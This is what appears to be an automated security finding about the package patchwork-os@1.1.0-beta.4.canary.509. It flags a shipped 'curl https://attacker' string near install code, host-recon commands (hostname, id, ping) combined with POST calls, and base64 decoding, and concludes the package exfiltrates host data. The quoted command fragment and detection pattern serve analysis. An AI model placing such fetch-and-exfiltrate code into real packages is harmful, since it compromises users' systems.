patchwork-os@1.1.0-beta.4.canary.509

dist/drivers/gemini/index.js line 53 contains a literal `curl https://attacker` string co-located with an `install` reference (line 286), matching a known-bad-infrastructure fetch pattern. dist/index.js and other modules combine hardcoded POST/fetch primitives with ping/curl/hostname/id host-recon commands across the connectors, dashboard, and orchestrator surface (dist/index.js line 688 onward, dist/haltPushDispatch.js line 9 reading hostname alongside POST calls, dist/server.js, dist/config.js which invokes curl at lines 83 and 807). Base64 decoding via Buffer.from(..., 'base64').toString() appears in dist/resources.js line 164 and dist/connectors/airtable.js, consistent with obfuscated payload or credential handling. The combined shape — a shipped `curl https://attacker...` string on a code path adjacent to install/driver initialization, host-reconnaissance primitives, and base64-decoded blobs — is inconsistent with a legitimate OS/orchestration package and indicates code that fetches attacker-controlled content and exfiltrates host data.